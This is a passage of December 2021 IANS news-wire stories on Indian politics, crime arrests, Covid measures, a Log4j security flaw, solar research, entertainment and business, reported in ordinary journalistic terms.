3, BJP MPs from West Bengal had met Prime Minister Modi and demanded implementation of the Citizenship Amendment Act (CAA). The delegation of MPs from West Bengal was led by state unit president Dr Sukanta Majumdar. The West Bengal MPs also requested the Prime Minister to visit the state. -- The story has been published from a wire feed without any modifications to the text New Delhi, Dec 15 : After a 1,000km long bicycle journey from Mumbai to raise awareness against air pollution, fitness icon Milind Soman reached Delhi where he culminated the 'Green Ride- Ek Pahal Swachh Hawa Ki Ore powered by GAIL (India) Limited. The Green Ride entourage started on December 3, 2021 from Mumbai and passed through Maharashtra, Gujarat, Rajasthan and Haryana before arriving at New Delhi. "Delighted, grateful and exhilarated! This sums up my journey on cycle from Mumbai to Delhi. The 'Green Ride' was an effort to explore and promote healthier modes of transportation," Milind Soman said. Adding, "I hope I was able to create some more awareness about how we are polluting the air we breathe, and efforts we all can make to reduce this pollution! Every small step that we take, like opting for a car pool, planting a tree, choosing to cycle rather than taking a car, quitting smoking and so many other small ways, plays a huge role in making our environment healthier for us and all life on the planet. Will continue to campaign for this cause and other important ones through more such initiatives in the future," he added. GAIL Chairman and Managing Director Manoj Jain, Director (Marketing) ES Ranganathan, Director (Finance) RK Jain, Chief Vigilance Officer Shubha Naresh Bhambani and other senior officials were present on the occasion. Speaking on the occasion, GAIL CMD Manoj Jain said: "GAIL was always at the forefront of the fight against the air pollution. The company's social media initiative 'Hawa Badlo' which strives to raise awareness against the menace has reached netizens over 100 million times. "As part of its commitment towards rising awareness for sustainable and environment friendly lifestyle, GAIL partnered with Green Ride- Ek Pehal Swachh Hawa Ki Ore which is an unique initiative by fitness icon Milind Soman to raise awareness and encourage the people of India to do their bit towards cleaner air." (IANSlife can be contacted at ianslife@ians.in) New Delhi, Dec 15 : With the opening of Radisson RED Chandigarh, Mohali, the Radisson Hotel Group launches its bold and unconventional brand, Radisson RED, in India. The hotel is first of 10 hotels slated to open in the market under the brand's umbrella within the next three to five years, it caters to the needs of the new age travellers, with stylish properties situated in dynamic, urban and scenic locations. Offering guests endless opportunities to tune in and out -- switching effortlessly between business and leisure. By incorporating art, music and fashion into its services and experiences along with an added focus on communal spaces such as bars and lobbies, digital customer service and bold coloured interiors -- Radisson RED is poised to set the benchmark for the future of contemporary hospitality. The brand also prides itself on stylish public spaces with standout design, cutting-edge technology, and eclectic food experiences. Speaking about this strategic expansion, Zubin Saxena, Managing Director and Vice President Operations, South Asia, Radisson Hotel Group said, "We believe that the style-savvy and social Indian travelers will relate and enjoy the experiences and ambience that come with Radisson RED -- a vibrant, unconventional and trendy brand. We appreciate the long-standing relationship with our strategic partner Bestech Group and the trust that they have demonstrated in the Radisson RED brand. As we launch into India with Radisson RED Chandigarh Mohali, we are confident of a stellar response and look to branch out even more in the near future." Radisson Hotel Group launches its first bold and stylish Radisson RED hotel in Chandigarh Mohali With a playful twist on the conventional, the property gives travelers the perfect balance between striking natural landscapes and a thriving business district as well as central access to Mohali, Chandigarh, and Panchkula. The design of the hotel is eclectic and bold portraying a new philosophy in the hospitality world. Touches of red on the walls, furniture and paraphernalia tie together the entire brand experience. Modern lighting, fun and interesting decor are identity traits intended to attract independent and savvy clientele. The common areas resemble art galleries, heavily decorated to create a chic and cool ambience. "It gives us great pleasure to open the first Radisson RED in the country as part of our strategic alliance with Radisson Hotel Group. The hotel is perfectly positioned to provide guests with a safe and inspiring environment including unique dining options and all of it draws inspiration from the local culture and experiences. We anticipate that this bold, playful and eclectic twist on conventional hospitality will resonate with Indian travellers looking for novelty," said Dharmendra Bhandari, Managing Director, Bestech Group. With 154 rooms, guests can choose from four room categories including standard room, superior room, junior suite and executive suite. All rooms and suites are fitted with king-size beds, stylish furnishings, selfie spots, digital screens, and revitalizing amenities to ensure that guests have a fun experience. (IANSlifecan be contacted at ianslife@ians.in) London, Dec 15 : Even as the Omicron variant continues to spread, European nations including Germany, Hungary, Greece, and Spain have started vaccinating children as young as five and upto 11 years of age, against Covid-19 from Wednesday. The vaccine administered will be of lower dose than the Pfizer jab for over-12s. It also comes in a paediatric vial with an orange cap to distinguish it from the purple-capped vials for older ages, the Daily Mail reported. The European Union's medicines watchdog European Medicines Agency, last month, approved the Pfizer-BioNTech shot for five to 11-year-olds. Denmark and Austria began inoculating younger kids in November. The US was the first country to start vaccinating small kids, and it has inoculated more than five million children aged five to 11. "As soon as we offered the vaccine appointments, they were pretty much all snapped up," Jakob Maske, a Berlin-based doctor and spokesman for Germany's association of paediatricians, was quoted as saying. While Germany's STIKO vaccine commission officially recommended the jab only for children with pre-existing conditions, even healthy children will be inoculated if the parents request it, the report said. In Germany, officials plan to administer kids' jabs in museums and zoos, while others are mulling mobile vaccination teams outside schools. Meanwhile, in Greece, more than 20,000 parents have booked vaccine appointments for their kids from Wednesday. Spain, which has one of Europe's highest Covid-19 vaccination rates, said it was launching its immunisation campaign for five to 11-year-olds with the goal of breaking the chain of infection "in family settings, schools and the community". The country has around 3.3 million children within that age group. In a bid to spur vaccine take-up, the Spanish government has also released a television commercial showing kids getting the shot so they can "help end the virus and protect the elderly", the report said. Other European countries including Italy, Portugal, Poland, the Baltic states and the Czech Republic are also set to launch similar vaccination drives in the coming days. In France, vaccination has only been approved for five to 11-year-olds at risk of developing serious illness, but the government has said it is considering extending it to all children on a voluntary basis. Belgium is awaiting the recommendation of its national health body, with a rollout likely around the new year, while SwitzerlandaAs medical agency has given green light for kids' vaccines. The country is set to start the campaign in early January. Further, British health regulators are also assessing whether to approve jabs for the 5-11 age group, and a decision is likely before Christmas. The UK's Joint Committee on Vaccination and Immunisation (JCVI) is reportedly "urgently" reviewing data on Covid jabs for children. As a result, medics in England have been told to start preparing for the mass vaccination of children as young as five years old, leaked documents have revealed, the report said. European Commission President Ursula von der Leyen on Wednesday said that Omicron is expected to be the dominant Covid variant in the 27-nation bloc by mid-January, the report said. With 66.6 per cent of the European population now fully vaccinated against Covid, the bloc is well prepared to fight Omicron, she added. San Francisco, Dec 15 : A Tesla worker who is allegedly responsible for shooting a co-worker in the Fremont factory parking lot has been arrested, the Police Department has announced. According to the auto-tech website Electrek, the Fremont Police Department has, earlier, announced that they were investigating a "suspicious death" at Tesla's Fremont factory the day before. Later, the "suspicious death" investigation was updated to a homicide investigation. Now the police have issued a more detailed statement about the situation and announced that "they arrested 29-year-old Anthony Solima of Milpitas for homicide," the report said. "Homicide detectives responded to the scene and took over the investigation. They learned that the victim and had just finished a shift at the Tesla manufacturing factory before being shot in the parking lot as he left," the department was quoted as saying in a statement. "Within several hours, detectives developed leads on a potential suspect who also worked with the victim. Detectives learned that the victim and suspect had been arguing earlier in the day, and that the suspect had suddenly walked off the job," it added. The police did not release the identity of the victim, as his identity is still being confirmed by the coroner, but they confirmed that both the victim and the suspect worked at Tesla. The investigation is ongoing. New Delhi, Dec 15 : Delhi Police have busted an interstate gang of burglars that used to plant their wives as maids so that they can pass on the information about vacant houses to them. "The female family members of the gangs used to work as maids in the colonies of the Trans Yamuna Area. Being familiar to these houses they used to give inputs and whereabouts of the nearby areas and of the victims to the gang members," said an official here. The gang members also used to target those houses who are found locked. According to the official, an FIR was registered under sections 380, 457 and 34 of the Indian Penal Code at Jagatpuri police station where the complainant stated that a cash of Rs 5 lakh and jewellery have been stolen from his house while he was outside home in an engagement function of his daughter. During the probe, the cops on December 9, with the help of technical surveillance and local intelligence nabbed one burglar identified as Subhan Khan, 32, who was involved in the burglary and recovered cash and a huge quantity of burgled jewellery and other stolen articles from his house. During interrogation he kept on denying his involvement but when the accused was interrogated on the basis of technical evidence and available CCTV footage, he broke down and accepted his involvement in the case. During the course of interrogation, accused Subhan disclosed that he along with one Shahadat, Arshad and Sahin had committed the said burglary. He further disclosed that he is involved in many cases of burglary in the Trans Yamuna Area. The police team further laid a trap to apprehend other burglars at their hideouts. During the process the team went to the hideout of accused Shahdat at E-44 Jhuggi, Seemapuri where he was not found, however, the team got the information that he had booked an air ticket for Bengaluru to evade his arrest and will leave Delhi in an hour or two. The team immediately rushed towards IGI airport and with the help of Airport authorities apprehended the accused Shahdat just before boarding the aeroplane. During interrogation Shahadat revealed he was out on bail since March 2021 and his involvement in 18 cases of burglary at different police stations of Delhi. On his instance one semiautomatic pistol, a huge quantity of burgled jewellery, cash, house breaking equipment, and other articles were recovered from his house. He further disclosed the location of his co-accused Sahin, who was then apprehended at his instance. The cops further mapped the night locations of the gang. As per the night locations and the disclosure of accused persons, it was found that they were involved in 42 incidents of burglary in Shahdara District since April 2021 when the accused Shahdat came out of jail on bail. Mumbai, Dec 15 : Two months after he was nabbed by the Philippines Police, dreaded absconding gangster Suresh Pujari was deported to India and brought from New Delhi to Mumbai to face charges for nearly two dozen serious crimes here, officials said on Wednesday. In a top-secret operation, Pujari was flown from Philippines to New Delhi where he was arrested by a waiting team of Maharashtra Anti-Terrorism Squad (ATS) around 2 a.m., and later brought to Mumbai on a commercial flight. The ATS recovered 2 international mobile SIM cards from him and the arrest happened just 4 days before the validity of his red corner notice of December 20, 2016 was to expire - on December 19. He was whisked off to Chief Judicial Magistrate Court in Thane which granted 10 days police custody in an extortion case registered at the Mahatma Phule Chowk Police Station which the ATS is investigating. In mid-October, Pujari was nabbed by the Paranaque police's Fugitive Search Unit in southern Manila metropolitan region and the extradition process was initiated, culminating in his deportation late on Tuesday to New Delhi. On the run since 2007, Pujari, soon after he landed in New Delhi, was handed over to a team of Intelligence Bureau and Central Bureau of Investigation. After the CBI interrogation, he was handed over to a waiting team of Mumbai Police Crime Branch and ATS. The Mumbai and Thane Police had already issued red-corner notices against him in 2016, as he was wanted for several major crimes registered here against him. Pujari is a relative of another notorious mafiosi, Ravi Pujari, who was deported to India from west Africa's Senegal in February 2020, and is currently in custody being probed by central agencies and police of Karnataka, Gujarat, and Maharashtra. Shortly after he sneaked out of the country in 2007, the Mumbai Police had shared a detailed dossier on Suresh Pujari with the Centre over a decade ago, said officials. Since the two Pujaris fell out due to territorial disputes, Suresh Pujari, along with a few others, launched independent mafia operations in the early 2000s, with activities in parts of Mumbai, Navi Mumbai, and Thane regions. Living in Asalpha area of Ghatkopar suburb in north-east Mumbai, he managed to hoodwink the law enforcers and slipped out of almost India 15 years ago. Later, the InterPol issued a notice for him and the Maharashtra Police was closely monitoring his movements in different countries. Suresh Pujari faces at least 10 major cases of extortion, threats to murder, killings, etc, in Mumbai, Thane and more offences elsewhere in the MMR region, other cities and the Mumbai Police CID, the CBI and the FBI were on the lookout for him in the past nearly 15 years. Going by aliases like Suresh Pai, he and his associates had allegedly made extortion-cum-threat calls to several top builders, contractors, and glamour world celebs in the early 2000s, organised or ordered gangland killings, etc. "The businessmen, liquor shop owners of Mumbai and South India were on his radar. He used to make extortion calls. He had also threatened a few politicians," said an IB official, requesting anonymity. "Most of the time Suresh Pujari would open fire at the house of his target, though he wouldn't hurt anybody. Later, he used to drop threat letters demanding money. He did this in Ulhasnagar, Kalyan, Dombivali, and Thane areas of Mumbai. His victims were too terrified to approach the police, but a few had reported the matter to the police," said a source. (Quaid Najmi can be contacted at q.najmi@ians.in) Chennai, Dec 15 : Director Vinothraj's Tamil film 'Pebbles', which is India's official entry to the Oscars, has now been nominated for the prestigious Spirit Awards as well. The nomination has thrilled its producer Vignesh Shivan, who has now expressed a desire to see his film emerge a winner at the Spirit Awards as well. Taking to Twitter, Vignesh Shivan first congratulated his film's director Vinoth Raj. He said, 'Yeaaaaaaassssssss! We got nominated for the Spirit Awards along with some amazing films from all over the world ! Well done P S Vinothraj." He then wrote, "So so happy to see this. Thanking the Film Independent jury for nominating our film. We also want to win the same. Waiting to see Pedro Almodovar on the Red Carpet." Along with 'Pebbles', the other films that have been nominated under the Best International Film category are 'Compartment No 6' (Finland), 'Drive My Car' (Japan), 'Parallel Mothers' (Spain), 'Petite Maman' (France) and 'Prayers for the Stolen' (Mexico). Pointing out that 'Parasite' had won the Best Foreign Film award at the Spirit Awards last year, Shivan said, "Proud to see our film 'Pebbles' being nominated in the same category! wishing to win this highly respected & prestigious award." New Delhi, Dec 15 : The Sun, an explosive celestial object, has been much quieter between 2008 and 2019 than it was between 1996 and 2007, and scientists have quantified that radial size of its Coronal Mass Ejections (CMEs) are two-thirds the radial size of CMEs in the last decade. The Sun was the weakest in 2019 during the last 100 years and there has been a significant decrease in the mass, size as well as internal pressure of explosive phenomena, a study published in the Frontiers in Astronomy and Space Sciences journal said. Surprisingly, this was also accompanied with decrease in the average radial size of CMEs - contrary to the expectation that decrease of pressure in the interplanetary medium will be accompanied with increase in radial size of CMEs. The Sun is known to be very active with sunspots, solar flares, and CMEs -- episodic expulsion of huge magnetised plasma from the Sun out into space. Understanding such activity of the Sun, particularly the propagation of CMEs, is important since they cause major perturbations in the Earth's magnetosphere. They affect the near-Earth space environment disturbing the orbit of satellites in low-earth orbits, Global Positioning Signals (GPS), long-distance radio communications, and power grids. Intensity of such solar activity is known to vary in 11-year long periodic cycles. It had earlier been traced that Cycle 24 (2008-2019) was weaker than Cycle 23 (1996-2007), and the Sun was weakest in 2019 during the last 100 years. Scientists led by Dr Wageesh Mishra of the Indian Institute of Astrophysics (IIA), Bengaluru, an autonomous institute under the Centre's Department of Science & Technology, have shown that the average radial size of CMEs in the last decades (during solar cycle 24 from 2008-2019) is only two-thirds of its value in the previous cycle. "This was baffling to the scientists as, for them the reduced ambient pressure implied that CMEs were expanding into an interplanetary space to a significantly larger size, expectedly giving rise to large radial size. However, they found the opposite happening," a release from the Ministry of Science & Technology said. Explaining this unexpected finding, Dr Mishra suggested: "The reduced pressure in the interplanetary space in cycle 24 is compensated by a reduced magnetic content inside CMEs, which did not allow the CMEs to expand enough in the later phase of their propagation." The scientists' explanation is further strengthened by the fact that the lack of stronger and bigger CMEs arriving at the Earth during solar cycle 24 had caused reduced geomagnetic perturbations compared to cycle 23. The team also established that the gas pressure in the interplanetary space in cycle 24 was only 40 per cent of the pressure in cycle 23. Besides, the rate at which the Sun was losing its mass through these episodic ejections was 15 per cent less in cycle 24 than cycle 23. Additionally, the rate of loss of quasi-steady matter by the Sun was also 10 per cent lower in cycle 24. The work, published in the Frontiers in Astronomy and Space Sciences journal, is co-authored by Professor Nandita Srivastava from Physical Research Laboratory, Udaipur, and Urmi Doshi from the M.S. University of Baroda, Vadodara. In this research, the team studied the Earth-directed CMEs and interplanetary counterparts of CMEs (ICMEs) using publicly available observations from Solar and Heliospheric Observatory (SOHO) and Advanced Composition Explorer (ACE), both of them missions launched by NASA in 1995 and 1997, respectively. New Delhi, Dec 15: On his south-east Asia tour, US secretary of state Antony Blinken has asserted that the US will strengthen military presence and develop economic relations with south-east Asian countries to counter China. Under the stewardship of Joe Biden, who took over as the President in January, Washington has spent an entire year trying to wriggle back into a global vacuum created by previous president Donald Trump's inward-looking policies. US officials have traversed the globe reassuring governments that it can be depended upon against an aggressive China. Blinken, who is on a three-nation trip to Indonesia, Malaysia and Thailand said that the Biden administration is keen on maintaining peace and prosperity in the region by boosting alliances, forging new relationships and ensuring that the US military maintains "its competitive edge." Baladas Ghoshal, former Professor and Chair in South & Southeast Asian Studies, Jawaharlal Nehru University, told India Narrative that despite Biden's assurances, the path for Washington-Jakarta relations will not be smooth. "Indonesia was left out by the US during Donald Trump's reign. In fact the Indonesians had noticed that Blinken and visited India and other countries in the region but not Indonesia". Ghoshal said: "The US will have to walk the talk now". He added that on the other hand, the Indonesia Foreign Minister has been positive about relations with Washington even though the country's civil society has been critical about the US role in the region. Significantly, Indonesian Foreign Minister Retno Marsudi said in an official statement that the US is Indonesia's strategic partner. Marsudi said: "Both countries have many shared values which is believed to strengthen our concrete strategic partnership. For instance, democracy is one of the values shared by the two countries". Significantly, the two countries also signed an agreement--Extension of Maritime Cooperation. Marsudi said: "This MoU covers, among others, maritime security cooperation, marine resources, conservation and fisheries management as well as maritime safety and navigation. In order to strengthen our security cooperation we agreed to establish a 2+2 dialogue mechanism between senior officials from each ministries of foreign affairs and ministries of defence". Indonesia has been the first stop for Blinken, where he has been able to demonstrate American prowess and commitment in the fields of defence, trade, diplomacy and importantly even in the joint development of vaccines. Giving an insight into Washington's mind, Blinken said: "We'll adopt a strategy that more closely weaves together all our instruments of national power - diplomacy, military, intelligence - with those of our allies and partners". Blinken added that the US strategy in the region includes linking US and Asian defence industries, integrating supply chains and cooperating on technological innovation. All this in an effort to counterbalance a demanding and assertive China. (The content is being carried under an arrangement with indianarrative.com) --indianarrative New Delhi, Dec 15 : As the Internet faces one of the most serious vulnerabilities in recent years putting millions of devices at hacking risk, attackers are now making thousands of attempts to exploit a second vulnerability involving a Java logging system called 'Apache log4j2'. The description of the new vulnerability, titled 'CVE 2021-45046', says the fix to address the earlier security bug (CVE-2021-44228) in 'Apache Log4j 2.15.0' was "incomplete in certain non-default configurations". "It was found that the fix to address CVE-2021-44228 in Apache Log4j 2.15.0 was incomplete in certain non-default configurations. "This could allow attackers... to craft malicious input data using a JNDI Lookup pattern resulting in a denial of service (DOS) attack," the CVE description read. Several popular services, including Apple iCloud, Amazon, Twitter, Cloudflare and Minecraft, are vulnerable to the 'ubiquitous' zero-day exploit. Apache has now released a new security patch to address the second bug. 'Apache Log4j' is used in many forms of enterprise and open-source software, including cloud platforms, web applications and email services. It is the most popular java logging library with over 400,000 downloads from its GitHub project. It is used by a vast number of companies worldwide, enabling logging in a wide set of popular applications. "Exploiting this vulnerability is simple and allows threat actors to control java-based web servers and launch remote code execution attacks," cyber security researchers at Check Point had said in a blog post. Another cyber security company Sophos said that it is already detecting malicious cryptominer operations attempting to leverage the vulnerability, and there are credible reports from other sources that several automated botnets (such as Mirai, Tsunami, and Kinsing) have begun to exploit it as well. At present, most of the attacks focus on the use of cryptocurrency mining at the expense of the victims. However, under the auspices of the noise, more advanced attackers may act aggressively against quality targets. Researchers at Microsoft have also warned about attacks attempting to take advantage of 'Log4j' vulnerabilities, including a range of crypto-mining malware. New Delhi, Dec 15 : As part of a month-long programme to showcase the redevelopment of 'Kashi Vishwanath Dham' corridor, the Union Urban Development Ministry and Uttar Pradesh Urban Development Department will be organising a conference of Mayors on December 17 in Varanasi. Mayors of over 200 cities are invited for the conference. Prime Minister Narendra Modi will virtually address the mayors' conference. The Bharatiya Janata Party (BJP) has appointed Rajya Sabha member and national general secretary Arun Singh as in-charge of the programme. National vice president of BJP's women wing Rekha Gupta has been made co-incharge of this programme. Uttar Pradesh Chief Minister Yogi Adityanath and Union Minister Hardeep Singh Puri are likely to attend the conference. It is learnt that invites for the conference have been sent to over 200 mayors and the organisers are expecting that most of them will attend the conference. Over 100 mayors have already accepted the government invite for the conference and more will send it. "Invites have been sent to all the mayors in the country and we are expecting all of them will attend the conference which will be virtually addressed by Prime Minister Modi. The conference will provide all the mayors to exchange ideas and learn best practices from others," Rekha Gupta said. Sources said that mayors are taking a city tour of Varanasi on December 16 to show the massive redevelopment of the first phase of 'Kashi Vishwanath Dham' corridor which was inaugurated by Prime Minister Modi on December 13. After inauguration, a two-day conclave of chief ministers of BJP-ruled states were also organised in Varanasi. Today on December 15, BJP chief JP Nadda and all the chief ministers went to Ayodhya to offer prayers at the birth place of Lord Ram. All the mayors participating in the conference are also likely to visit Ayodhya on December 18. Hyderabad, Dec 15 : Telugu star Allu Arjun has expressed gratitude to 'RRR' director S.S. Rajamouli for his encouragement for the actor's upcomg film 'Pushpa'. Allu Arjun has experimented with multiple genres in Telugu and has come up with a pan-India subject in the form of 'Pushpa'. Reacting to Rajamouli's suggestion about working harder for the Hindi promotions of 'Pushpa', Allu Arjun says he will try to push himself harder. "I thank Rajamouli sir, who attended the pre-release event of 'Pushpa' even though he has been busy promoting 'RRR'. He had suggested that I should promote 'Pushpa' even harder, during his speech during the event. His words filled new energy in me," the 'Ala Vaikuntapuramlo' actor said. "We were completely involved in the making of the film till last week. We did not get time for promotions in Mumbai until now. As Rajamouli suggested, I will leave for Mumbai on the 16th to hold a press meet there," Allu Arjun said. "'Pushpa' is a breakthrough movie in my career. It will take me to new waters, and I want to say that I have so much to explore as an actor and 'Pushpa' is just the beginning. I hope that I get to act in more of such experimental movies," Arjun said. Arjun also added that the team has been a bit late to kickstart the promotions in Hindi, but assured that they have planned a special promotional tour in Mumbai on December 16. 'Pushpa' is releasing on December 17. It is directed by Sukumar while Rashmika Mandanna is the female lead. New Delhi, Dec 15 : After Ambika Soni was appointed Chairman of the election coordination committee in Punjab the warring factions of Chief Minister Charanjit Singh Channi and State Congress President Navjot Singh Sidhu have called a truce. Soni is a senior Congress leader and was said to be the top choice of Sonia Gandhi for the Chief Minister's post after Amarinder Singh's exit but she had reportedly declined. A Rajya Sabha member and close aide of Congress president Sonia Gandhi, her inception in Punjab affairs has caused suspicion among the leaders in Punjab who were fighting a turf war. Soni could be reckoned to be the choice of the high command if Congress returns to power as a consensus candidate. Sources say sensing the move from the Congress high command the warring factions have patched up to put up a united face and also don't want to send a negative signal to the leadership. Sidhu who has been critical of the Punjab Chief Minister has heaped praises after the state government approached the Supreme Court over the BSF jurisdiction issue. After the exit of Amarinder, the Congress in Punjab had to appoint Harish Chaudhary replacing Harish Rawat as the new in-charge of the state and had to hold a series of meetings to sort out differences between the two leaders. However, it was not able to restrain Sidhu from speaking against his own government. On December 6 Sonia Gandhi appointed Ambika Soni as Chairman of the coordination committee, another sulking leader Sunil Jakhar as chairman of the campaign committee and Partap Singh Bajwa as the manifesto committee chairman. Navjot Singh Sidhu has been appointed Chairman of the state election committee and a meeting was called in Chandigarh on Wednesday. All the three leaders have been contenders for the Chief Minister's post. Jakhar missed the bus because Ambika wanted a Sikh Chief Minister while Bajwa was the only leader who was against Amarinder Singh as he was removed as the state President ahead of the assembly polls in 2017 but he could not make it. Ambika Soni, declined to become Chief Minister and had proposed the name if Sukhjinder Singh Randhawa as she said, "I have declined because I sincerely believe that a Sikh should be the CM of Punjab." But it was Channi who emerged as consensus candidate for both being a Sikh and from a Scheduled Caste community as the Congress wanted to tap the community. ==IANS miz/bg San Francisco, Dec 15 : Healthtech platform Innovaccer on Wednesday announced a $150 million Series E round at a $3.2 billion valuation, driven by rapid customer adoption of the Innovaccer Health Cloud. The round was led by Mubadala Capital, with participation from existing investors B Capital Group, Microsoft's M12 fund, OMERS Growth Equity, Dragoneer, Steadview Capital, Tiger Global Management, and other new investors. The round brings the total capital raised by the company to over $375 million. "We've reached a turning point in healthcare, where the world of fragmented, fee-for-service 'sick care' is giving way to a new world of integrated, value-based, preventive care," said Abhinav Shashank, cofounder and CEO of Innovaccer. "Providers, payers, and life sciences companies recognize the urgent need for a new, open platform that brings all healthcare data together to provide a singular view of the patient, and enables friction-free care across the entire patient journey," he added. Innovaccer plans to use its new funding to invest in R&D and recruit new hires as it rapidly scales its customer experience, product, and engineering talent. "In just a few short years, Innovaccer has built the most successful data activation platform in the healthcare industry as proven by record rates of industry adoption," said Alaa Halawa, partner and head of the US Ventures business at Mubadala Capital. Mumbai, Dec 15 : For the second year straight, the Maharashtra government will not permit parties or big gatherings during the Christmas-New Year Eve week in the country's commercial capital owing to the spread of Omicron variant of coronavirus, Mumbai Guardian Minister Aslam Shaikh said on Wednesday. However, all religious activities pertaining to festival shall be allowed in Churches as usual, and detailed guidelines in the matter shall follow shortly, he said. Hours after the Minister's statement, Mumbai Police's Deputy Commissioner of Police (Operations) S. Chaitanya issued wide-ranging prohibitory orders starting midnight on Wednesday (December 15-16) till December 31. Under this, all activities-events in open or closed spaces shall be permitted at 50 per cent capacity and the disaster management authority must of intimated of any gathering attracting over 1,000 people. Justifying the proposed move, the minister added that it is being done to avoid overcrowding during the festival and prevent any further spread of the Covid-19 variant Omicron in the city, now - along with Pune - having the highest number of 12 cases, of the state's 28. Moreover, many international flight passengers land here daily from international flights increasing the risks of the spread of the disease, he averred. Last year, for Christmas (2020) and New Year Eve (2021), there were strict restrictions imposed as a precaution though the first Covid wave was on the wane. The second and more severe Covid-19 wave started around February this year and the situation has now become complex with the emergence of the Omicron variant since December 4 in the state in Thane. Shaikh's latest diktat, followed by the Mumbai Police's restrictions, will dampen the New Year Eve spirit especially in posh restaurants and luxury hotels which usually host big-ticket mega-parties with Indian and foreign celebs. Besides, it could hit the exclusive private bashes organised at homes or farmhouses and other select venues by Bollywood or business bigwigs in and around Mumbai, and most may be compelled to ring in 2022 on a subdued note. Latest updates on Christmas 2021 Latest updates on Coronavirus (COVID-19) Chennai, Dec 15 : The AIADMK has launched a scathing attack on Pattali Makkal Katchi (PMK) founder leader Dr S. Ramadoss, for his statement that political alliance it was having with the AIADMK was a 'farce'. Dr Ramadoss in a statement on Tuesday said that the political alliance between the two was a 'farce' and that the PMK lost its electoral support due to its alliance with the AIADMK. Former Chief Minister and joint coordinator of the AIADMK, K. Palaniswami told reporters at Salem that the PMK has the habit of changing its allies frequently. EPS asked Ramadoss to explain how the alliance with the AIADMK was a 'farce'. Palaniswami said that the PMK leadership should explain how the AIADMK had betrayed that party. EPS said that the PMK was a political party that changed its colours during elections. The PMK after having fought the assembly elections with the AIADMK suddenly during the run-up to the rural local body polls announced that it was contesting the polls alone. The result was pathetic as both the AIADMK and the PMK lost in a big way. Ramadoss in a statement on Sunday said that political alliances these days mean "pulling the legs of allies" and claimed that his party would have at least won 15 seats in the 2021 assembly elections. He said that they could win only 5 seats as the allies had violated coalition dharma. This provoked the AIADMK leadership and Palaniswami was asked to retort to the snub by the alliance partner. The PMK is the political arm of the Vanniyar community which has a strong presence in several constituencies of north Tamil Nadu including Salem and Arkonam. Patna, Dec 15 : The Anti Terrorist Squad (ATS) of the Bihar police has launched an investigation into the bomb blasts and recovery of explosives in the state's Bhagalpur district, an official said on Wednesday. The police have recovered bombs from five places in the last six days. Two explosions also rocked two different places in which 2 persons were killed. On Wednesday, a bomb was recovered from Bhagalpur's Handiapatti village. The ATS suspects a terror angle in these seizures and explosions. The district police have seized two 'container bombs' and two 'tiffin bombs' which are generally used by the terrorists for blasts. On December 9, a bomb exploded at a railway track following which one person was killed. During a search, the police team recovered two live bombs from the place. On December 11, two children sustained minor injuries after a bomb exploded in Momin Tola under Nathnagar police station. A 'tiffin bomb' exploded at Makhdum Shah Dargah Ghat on December 13, killing a minor. While playing, the child found a brand new tiffin box. When he opened the box, it exploded and took his life. On December 14, two 'container bombs' were recovered from Saidpur village under Jagadishpur police station. Another bomb was recovered from Handiapatti village under Nathnagar police station on December 15. Mumbai, Dec 15 : Indian pop star Shai has released her new love track 'I Wonder' as a part of her collaboration with Canadian DJ Frank Walker and Dutch music producer MOTi. The deeply intimate track programmed electronically, talks about first glances and manifesting romance. Frank Walker has previously collaborated with world famous artistes including Astrid S. for his top 10 Canadian top 40 radio single 'Only When It Rains', which earned a Juno Award nomination for Dance Recording of the Year in 2020. Mumbai-born Shai relocated to the UK after attending the Liverpool Institute for Performing Arts. She has been writing songs for the likes of Nicky Romero, W&W, Ayokay, Jay Pryor, and Freedo, among others. Her songs have also been synced on multiple platforms including Netflix's 'Lucifer' and ITV's 'Love Island UK & USA'. She has also had chart success on the Billboard dance charts at the 20th spot. MOTi, on the other hand, is a renowned music producer and DJ from Amsterdam. He has produced for multi-platinum hip-hop artistes like Ty Dolla $ign and Wizkid and collaborated with multi-platinum dance legends including Tiesto, Major Lazer and Martin Garrix. MOTi has also been an increasingly prevalent force in the pop/major label world having produced remixes for P!nk, Major Lazer and DJ Snake, Selena Gomez and Marshmello, Lil Wayne, and Galantis. New Delhi, Dec 15 : A total of 27 satellite missions and 25 launch vehicle missions were successfully accomplished during the last five years, Union Minister of State (Independent Charge) Science and Technology, Jitendra Singh said in the Parliament on Wednesday. In reply to a question in the Lok Sabha, the Minister informed that in addition, 286 commercial satellites from domestic as well as foreign customers and 8 student satellites from Indian universities were also launched during the aforementioned period. Singh said that some of the major space missions include first operational flight of India's heavy lift launch vehicle GSLV Mk-III which placed India's second lunar mission, Chandrayaan-2 into orbit; Advanced Cartography satellite, Cartosat-3; completion of NavIC constellation; launch of South Asia Satellite; launch of heaviest and most-advanced high throughput communication satellite, GSAT-11 and launch of record 104 satellites in a single PSLV flight. Apart from these, three technology demonstrators namely Scramjet engine, reusable Launch Vehicle and test for Crew Escape System were also successfully demonstrated during this period, the Minister added. Singh said that the Department of Space has charted out short-term and long-term plans in the areas of Space Transportation Systems, Satellite Communication and Navigation, Earth Observation, Space Sciences and Planetary Exploration, Capacity Building and Space-based applications. New Delhi, Dec 15 : The Supreme Court on Wednesday acquitted three death row convicts, including one accused of killing his parents, brother and other relatives following a property dispute, saying that the prosecution utterly failed to prove case beyond reasonable doubt. It said it is pained to observe the manner in which the present case has been dealt with by the trial court as well as by the high court, particularly, when the trial court awarded death penalty to the accused and the high court confirmed it. The bench comprising Justices L. Nageswara Rao, B.R. Gavai, and B.V. Nagarathna said: "We, therefore, find that the prosecution has utterly failed to prove the case beyond reasonable doubt. The conviction and death sentence imposed on the accused is totally unsustainable in law." The three - Momin Khan, his cousin Jaikam Khan, and Jaikam Khan's son Sajid, were sentenced to death by the trial court, and the Allahabad High Court dismissed their appeals. The wife of one of the accused was also sentenced to death by the trial court, but, the high court had set aside her conviction. Expressing shock at the trial court findings in the order, the bench, referring to a paragraph in the order, said: "The narration makes for an interesting reading as a story. However, all the observations are nothing but conjectures and surmises, without there being any evidentiary support to them." It noted that all statements made with regard to the confession of committing the crime would not be admissible in evidence. "It could thus be seen that the recoveries were made from the places, which were accessible to one and all and as such, no reliance could be placed on such recoveries," the bench said. The top court carefully scrutinised the prosecution's case and concluded that there were many lacunae and inconsistencies in the motive, recovery of blood-stained clothes, recovery of weapons, and the arrest of accused immediately after the crime. On the aspect of blood-stained clothes worn by the accused while committing the crime, the top court said it is a mystery as to how all the four accused fled from the spot, came back at the said spot, changed their clothes, and again went away. "It is also a mystery as to how the accused Nos. 3 and 4, who are not residing in Momin Khan's (AA1) house, had changed their clothes and kept them at Momin Khan's (AA1) house. This coupled with the fact that the FSL 